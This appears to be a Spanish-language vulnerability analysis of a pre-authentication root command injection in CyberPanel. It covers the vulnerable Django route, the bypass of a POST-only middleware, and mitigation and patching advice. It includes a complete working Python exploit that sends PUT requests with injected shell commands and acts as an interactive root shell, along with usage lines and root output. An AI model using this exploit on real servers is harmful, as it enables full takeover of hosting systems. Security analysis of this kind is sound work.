Vulnerabilidad de RCE como root previa a la autenticación en CyberPanel: análisis en profundidad del exploit
Un análisis técnico de una vulnerabilidad en CyberPanel, una RCE como root previa a la autenticación, con las rutas de explotación confirmadas, los componentes investigados y los hallazgos de la metodología de investigación.
Introducción
Este artículo ofrece un análisis en profundidad del descubrimiento y la explotación de una vulnerabilidad de ejecución remota de código (RCE) en CyberPanel, una aplicación web basada en Django que se usa para gestionar servicios de alojamiento web como FTP, SSH y SMTP. Este fallo crítico permite a atacantes no autenticados ejecutar comandos arbitrarios como usuario root, lo que plantea importantes problemas de seguridad, sobre todo dado el uso extendido de CyberPanel en servidores VPS.
Nuestra investigación ha revelado que muchas máquinas ya están comprometidas, como demuestra la imagen siguiente, que muestra ransomware en los sistemas afectados.

Por último, este artículo está inspirado en la investigación realizada por DreyAnd, que detalla los aspectos técnicos y los mecanismos de evasión asociados a esta vulnerabilidad.
Actualización a 30 de octubre de 2024
Se han asignado dos CVE junto con un aviso de seguridad de los responsables de CyberPanel. Hay disponible un commit de corrección aquí.
-
CVE-2024-51567:
- Afecta a
upgrademysqlstatus()endatabases/views.py. - Explotada activamente por PSAUX en octubre de 2024.
- El problema surge al eludir
secMiddleware(activo solo para solicitudes POST) e inyectar metacaracteres de shell en la propiedadstatusfilepara lograr la ejecución de comandos sin autenticación. - Afecta a las versiones hasta la 2.3.6 y a la 2.3.7 sin parchear.
- Afecta a
-
CVE-2024-51568:
- Una vulnerabilidad de inyección de comandos a través del parámetro
completePathen el sumideroProcessUtilities.outputExecutioner(). - Da lugar a RCE sin autenticación a través de
/filemanager/upload. - Se explota mediante metacaracteres de shell proporcionados a la ruta de subida del File Manager.
- Afecta a las versiones anteriores a la 2.3.5.
- Una vulnerabilidad de inyección de comandos a través del parámetro
Resumen de la vulnerabilidad
- Componente vulnerable: ruta
upgrademysqlstatusen CyberPanelv2.3.6. - Impacto: RCE sin autenticación con privilegios de root.
- Tipo de exploit: ejecución remota de código de 0 clics, previa a la autenticación.
- Causa raíz: comprobaciones de autenticación inadecuadas y uso inseguro de comandos de subproceso.
Recorrido y análisis del código
La ruta upgrademysqlstatus() de la versión vulnerable de CyberPanel aporta información clave sobre cómo se identificó la superficie de ataque. Analicemos la ruta para entender el fallo subyacente.
Función vulnerable: upgrademysqlstatus()
def upgrademysqlstatus(request):
try:
data = json.loads(request.body)
statusfile = data['statusfile']
# Unsafe execution using user input
installStatus = ProcessUtilities.outputExecutioner(f"sudo cat {statusfile}")
if "[200]" in installStatus:
ProcessUtilities.executioner(f"sudo rm -f {statusfile}")
response = {'error_message': "None", 'requestStatus': installStatus, 'abort': 1, 'installed': 1}
return HttpResponse(json.dumps(response))
elif "[404]" in installStatus:
ProcessUtilities.executioner(f"sudo rm -f {statusfile}")
response = {'error_message': "None", 'requestStatus': installStatus, 'abort': 1, 'installed': 0}
return HttpResponse(json.dumps(response))
else:
response = {'abort': 0, 'error_message': "None", 'requestStatus': installStatus}
return HttpResponse(json.dumps(response))
except KeyError:
return redirect(loadLoginPage)
Problemas de la función upgrademysqlstatus:
-
Falta de comprobaciones de autenticación:
- Se puede acceder a la ruta
upgrademysqlstatussin ninguna autenticación. Normalmente, las rutas sensibles deberían verificar la identidad del usuario mediante tokens de sesión o comprobaciones de middleware.
- Se puede acceder a la ruta
-
Inyección de comandos:
- La entrada controlada por el usuario (
statusfile) se concatena directamente en un comando de subproceso (sudo cat {statusfile}). - La función ejecuta comandos de shell arbitrarios con privilegios de
sudo, lo que da lugar a una inyección de comandos.
- La entrada controlada por el usuario (
-
Evasión del middleware:
- La aplicación usa
secMiddlewarepara sanear las solicitudes POST. Sin embargo, este middleware solo comprueba la inyección de comandos cuando el método de la solicitud es POST. - Esto permite a los atacantes eludir el middleware usando métodos distintos de POST (por ejemplo, PUT u OPTIONS), a la vez que siguen entregando payloads maliciosos a través de
request.body.
- La aplicación usa
class secMiddleware:
HIGH = 0
LOW = 1
def get_client_ip(request):
ip = request.META.get('HTTP_CF_CONNECTING_IP')
if ip is None:
ip = request.META.get('REMOTE_ADDR')
return ip
def __init__(self, get_response):
self.get_response = get_response
...
if request.method == 'POST':
# Security checks are applied only here...
try:
data = json.loads(request.body)
# ...but ignored for non-POST requests.
...
Explotación y prueba de concepto
Esta sección muestra cómo explotar la vulnerabilidad eludiendo el middleware e inyectando comandos arbitrarios.
Código del exploit
La siguiente PoC muestra cómo explotar la vulnerabilidad enviando una solicitud PUT para eludir el middleware e inyectar un comando.
import httpx
import sys
def get_CSRF_token(client):
"""Retrieve the CSRF token required for requests."""
resp = client.get("/")
return resp.cookies['csrftoken']
def pwn(client, CSRF_token, cmd):
"""Send the malicious command to the vulnerable route."""
headers = {
"X-CSRFToken": CSRF_token,
"Content-Type": "application/json",
"Referer": str(client.base_url),
}
# Command injection via statusfile parameter
payload = '{"statusfile": "/dev/null; %s; #", "csrftoken": "%s"}' % (cmd, CSRF_token)
# Bypass middleware by using PUT instead of POST
response = client.put("/dataBases/upgrademysqlstatus", headers=headers, data=payload)
return response.json().get("requestStatus")
def exploit(target, cmd):
"""Main exploit logic."""
client = httpx.Client(base_url=target, verify=False)
CSRF_token = get_CSRF_token(client)
stdout = pwn(client, CSRF_token, cmd)
print(stdout)
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url>")
sys.exit(1)
target = sys.argv[1]
while True:
cmd = input("$> ")
exploit(target, cmd)
Uso
Ejecutar el exploit:
python exploit.py https://<target-ip>:8090
Inyectar comandos arbitrarios:
$> id
uid=0(root) gid=0(root) groups=0(root)
Mitigación y recomendaciones
Para prevenir vulnerabilidades similares en el futuro, se recomiendan los siguientes pasos:
-
Middleware de autenticación centralizado:
- Implemente las comprobaciones de autenticación de forma global, y no a nivel de cada ruta.
-
Validación de la entrada en todos los métodos:
- Aplique la validación de la entrada de forma coherente en todos los métodos HTTP.
-
Evite la ejecución directa de comandos:
- Use bibliotecas como
subprocess.run()de Python con un saneamiento adecuado de las entradas del usuario.
- Use bibliotecas como
-
Principio de mínimo privilegio:
- Evite ejecutar servicios con privilegios de root salvo que sea absolutamente necesario.
-
Si tiene acceso SSH:
- Actualice su CyberPanel siguiendo la guía de actualización. No se requiere ninguna otra acción.
-
Si no tiene acceso SSH:
- En algunos casos, el acceso al puerto 22 puede estar restringido por su proveedor, a menudo debido a sobrecargas del servidor o a intentos de intrusión.
- En ese caso, póngase en contacto con su proveedor y solicite que habilite el puerto 22. Una vez restablecido el acceso, actualice el panel siguiendo las instrucciones proporcionadas.
Conclusión
Esta RCE previa a la autenticación en CyberPanel pone de relieve la importancia de una autenticación integral, una validación de la entrada coherente y un manejo seguro de los comandos de subproceso. Los atacantes pueden explotar fácilmente fallos de lógica sutiles, eludir el middleware y escalar privilegios hasta root, lo que demuestra el impacto devastador de las prácticas de seguridad pasadas por alto. Hasta que el parche se integre por completo en una versión estable, los usuarios deben aplicar el parche de inmediato y restringir el acceso a los endpoints vulnerables.
Etiquetas:
RCE